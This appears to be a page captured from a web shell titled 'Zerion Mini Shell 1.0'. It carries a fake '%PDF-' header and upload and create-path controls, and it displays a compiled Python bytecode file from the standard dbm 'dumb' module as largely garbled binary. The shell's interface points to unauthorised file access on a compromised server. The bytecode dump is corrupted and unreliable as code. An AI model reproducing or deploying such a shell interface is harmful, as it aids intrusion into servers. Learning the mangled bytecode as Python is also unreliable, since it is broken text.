%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.12/dbm/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.12/dbm/__pycache__/dumb.cpython-312.pyc

�

���fJ-��~�dZddlZddlZddlZddlZddgZ	dZ
eZGd�dejj�Zd	d�Zy)
a�A dumb and slow but simple dbm clone.

For database spam, spam.dir contains the index (a text file),
spam.bak *may* contain a backup of the index (also a text file),
while spam.dat contains the data (a binary file).

XXX TO DO:

- seems to contain a bug when updating...

- reclaim free space (currently, space once occupied by deleted or expanded
items is never reused)

- support concurrent access (currently, if two processes take turns making
updates, they can mess up the index)

- support efficient access to large databases (currently, the whole index
is read when the database is opened, and some updates rewrite the whole index)

- support opening for read-only (flag = 'm')

�N�error�openic��eZdZeZeZdd�Zd�Zd�Zd�ZeZ	d�Z
d�Zd�Zd�Z
d	�Zd
�Zd�Zd�Zd
�Zd�Zd�ZeZd�Zd�ZeZd�Zd�Zd�Zy)�	_Databasec���|jj|�}||_|dk(|_|dz|_|dz|_|dz|_d|_|j|�|j|�y)N�rs.dirs.dats.bak)
�_os�fsencode�_mode�	_readonly�_dirfile�_datfile�_bakfile�_index�_create�_update)�self�filebasename�mode�flags    �/usr/lib/python3.12/dbm/dumb.py�__init__z_Database.__init__0ss���x�x�(�(��6����
��#�+���%�w�.��
�%�w�.��
�$�w�.��
����	
���T�����T��c���|dk(r>|j|j|jfD]}	tj|��	t
j|jdd��}|j�y#t
$rY�ZwxYw#t
$r[|dvr�t
j|jdd��5}|j|j�ddd�Yy#1swYYyxYwwxYw)N�nr�Latin-1��encoding��cr�w)
rrr
r	�remove�OSError�_ior�close�_chmod)rr�filename�fs    rrz_Database._createJs����3�;�!�]�]�D�M�M�4�=�=�I�
����J�J�x�(�
�	��������i�@�A�
�G�G�I�������
�	+��:�%�����$�-�-��y�A�
+�Q����D�M�M�*�
+�
+�
+��	+�s;�A8�"B�8	B�B�0C+�7C�C+�C'	�"C+�'C+c�j�d|_i|_	tj|jdd��}|5|D]J}|j�}t
j|�\}}|jd�}||j|<�L	ddd�y#1swYyxYw#t$r|dvr�d|_YywxYw)NFrrrrT)
�	_modifiedrr$rr
�rstrip�_ast�literal_eval�encoder#)rrr(�line�key�pos_and_siz_pairs      rrz_Database._update]s���������	8��������i�@�A��
8��8�D��;�;�=�D�,0�,=�,=�d�,C�)�C�)��*�*�Y�/�C�'7�D�K�K��$�	8�
8�
8�
8���	"��:�%��!�D�N�	"�s�"B�AB�B�B2�1B2c�f�|j�|jsy	|jj|j�	|jj
|j|j�|jj|jdd��5}|j|j�|jj�D]-\}}|jd��d|�d�}|j|��/	ddd�y#t
$rY��wxYw#t
$rY��wxYw#1swYyxYw)Nr!rr�, �
)rr*r	�unlinkrr#�renamer
r$rr&�items�decode�write)rr(r0r1�entrys     r�_commitz_Database._commitqs���;�;��d�n�n��	��H�H�O�O�D�M�M�*�	��H�H�O�O�D�M�M�4�=�=�9��X�X�]�]�4�=�=�#�	�]�
B�	�a��K�K��
�
�&�)-���):�):�)<�
�%��%�'*�j�j��&;�=M�N�������	
�	�	���	��	��
�	��	��	�	�s0�%D	�0D�A&D'�		D�D�	D$�#D$�'D0c�2�|j�td��y�N�"DBM object has already been closed)rr�rs r�_verify_openz_Database._verify_open�s���;�;���<�=�=�rc�<�t|t�r|jd�}|j�|j|\}}tj|jd�5}|j|�|j|�}ddd�|S#1swYSxYw)N�utf-8�rb)
�
isinstance�strr.r@rr$rr�seek�read)rr0�pos�sizr(�dats      r�__getitem__z_Database.__getitem__�s����c�3���*�*�W�%�C������;�;�s�#���S�
�X�X�d�m�m�T�
*�	�a�
�F�F�3�K��&�&��+�C�	��
�	��
�s�$#B�Bc�d�tj|jd�5}|jdd�t	|j��}|tzdz
tztz}|jd||z
z�|}|j|�ddd�t|�fS#1swY�xYw)N�rb+r���)	r$rrrF�int�tell�
_BLOCKSIZEr9�len)r�valr(rH�nposs     r�_addvalz_Database._addval�s���
�X�X�d�m�m�U�
+�	�q�
�F�F�1�a�L��a�f�f�h�-�C��:�%��)�j�8�J�F�D�
�G�G�E�4��8�$�%��C�
�G�G�C�L�
	��S��X���	�	�s�A0B&�&B/c���tj|jd�5}|j|�|j	|�ddd�|t|�fS#1swY�xYw)NrM)r$rrrFr9rT)rrHrUr(s    r�_setvalz_Database._setval�sQ��
�X�X�d�m�m�U�
+�	�q�
�F�F�3�K�
�G�G�C�L�	��S��X���	�	�s�#A�A"c��||j|<tj|jdd��5}|j	|j�|j|j
d��d|�d��ddd�y#1swYyxYw)N�arrr3r4)rr$rr
r&r9r8)rr0r1r(s    r�_addkeyz_Database._addkey�sj��+����C��
�X�X�d�m�m�S�9�
=�	L���K�K��
�
�&�
�G�G�#�*�*�Y�"7�9I�J�K�	L�	L�	L�s�AA=�=Bc���|jrtd��t|t�r|j	d�}n!t|t
tf�std��t|t�r|j	d�}n!t|t
tf�std��|j�d|_	||jvr"|j||j|��y|j|\}}|tzdz
tz}t|�tzdz
tz}||kr |j||�|j|<y|j|�|j|<y)N�'The database is opened for reading onlyrBzkeys must be bytes or stringszvalues must be bytes or stringsTrO)rrrDrEr.�bytes�	bytearray�	TypeErrorr@r*rr\rWrSrTrY)rr0rUrHrI�	oldblocks�	newblockss       r�__setitem__z_Database.__setitem__�s+���>�>��A�B�B��c�3���*�*�W�%�C��C�%��!3�4��;�<�<��c�3���*�*�W�%�C��C�%��!3�4��=�>�>���������d�k�k�!��L�L��d�l�l�3�/�0��{�{�3�'�H�C���z�)�A�-�*�<�I��S��J�.��2�z�A�I��I�%�#'�<�<��S�#9����C� �
$(�<�<��#4����C� rc���|jrtd��t|t�r|j	d�}|j�d|_|j|=|j�y)Nr^rBT)	rrrDrEr.r@r*rr;�rr0s  r�__delitem__z_Database.__delitem__�sW���>�>��A�B�B��c�3���*�*�W�%�C���������K�K���
	
���rc�`�	t|j�S#t$r
td�d�wxYwr=)�listrrarr?s r�keysz_Database.keys��6��	H�����$�$���	H��<�=�4�G�	H����-c��|j�|jj�D�cgc]	}|||f��c}Scc}w�N)r@rrjrfs  rr7z_Database.items�s8������,0�K�K�,<�,<�,>�?�S��d�3�i� �?�?��?s�>c��t|t�r|jd�}	||jvS#t$r|j�td�d��wxYw)NrBr>)rDrEr.rrarrfs  r�__contains__z_Database.__contains__�sX���c�3���*�*�W�%�C�	��$�+�+�%�%���	��{�{�"��@�A�t�K��		�s	�
1�#Ac�`�	t|j�S#t$r
td�d�wxYwr=)�iterrrarr?s r�iterkeysz_Database.iterkeysrkrlc�`�	t|j�S#t$r
td�d�wxYwr=)rTrrarr?s r�__len__z_Database.__len__s6��	H��t�{�{�#�#���	H��<�=�4�G�	H�rlc��	|j�dx|_x|_x|_|_y#dx|_x|_x|_|_wxYwrn)r;rrr
rr?s rr%z_Database.closesJ��	O��L�L�N�JN�N�D�K�N�$�-�N�$�-�$�-��$�N�D�K�N�$�-�N�$�-�$�-�s	�/�A
c�P�|jj||j�yrn)r	�chmodr)r�files  rr&z_Database._chmods�������t�T�Z�Z�(rc��|Srn�r?s r�	__enter__z_Database.__enter__s���rc�$�|j�yrn)r%)r�argss  r�__exit__z_Database.__exit__s���
�
�rN)r )�__name__�
__module__�__qualname__r	r$rrrr;�syncr@rKrWrYr\rdrgrjr7rprs�__iter__rur%�__del__r&r|rr{rrrr#s����C�

�C��4�&8�(�2�D�>����L�5�J
�H�@�	�H�
�H�H�O��G�)��rrc��	tjd�}tj|�||z}|dvrtd��t	|||��S#t$rY�(wxYw)aEOpen the database file, filename, and return corresponding object.

    The flag argument, used to control how the database is opened in the
    other DBM implementations, supports only the semantics of 'c' and 'n'
    values.  Other values will default to the semantics of 'c' value:
    the database will always opened for update and will be created if it
    does not exist.

    The optional mode argument is the UNIX mode of the file, used only when
    the database has to be created.  It defaults to octal code 0o666 (and
    will be modified by the prevailing umask).

    r)rr!r rz)Flag must be one of 'r', 'w', 'c', or 'n')r)r	�umask�AttributeError�
ValueErrorr)ryrr�ums    rrr#sd�� �
�Y�Y�q�\���	�	�"�
�
��s�|���'�'��D�E�E��T�4�d�+�+���
��
�s�*A�	A�A)r i�)�__doc__�astr,�ior$�osr	�collections.abc�collections�__all__rSr#r�abc�MutableMappingrrr{rr�<module>r�sJ���.�����F�
��
�
���}����.�.�}�@,r

Zerion Mini Shell 1.0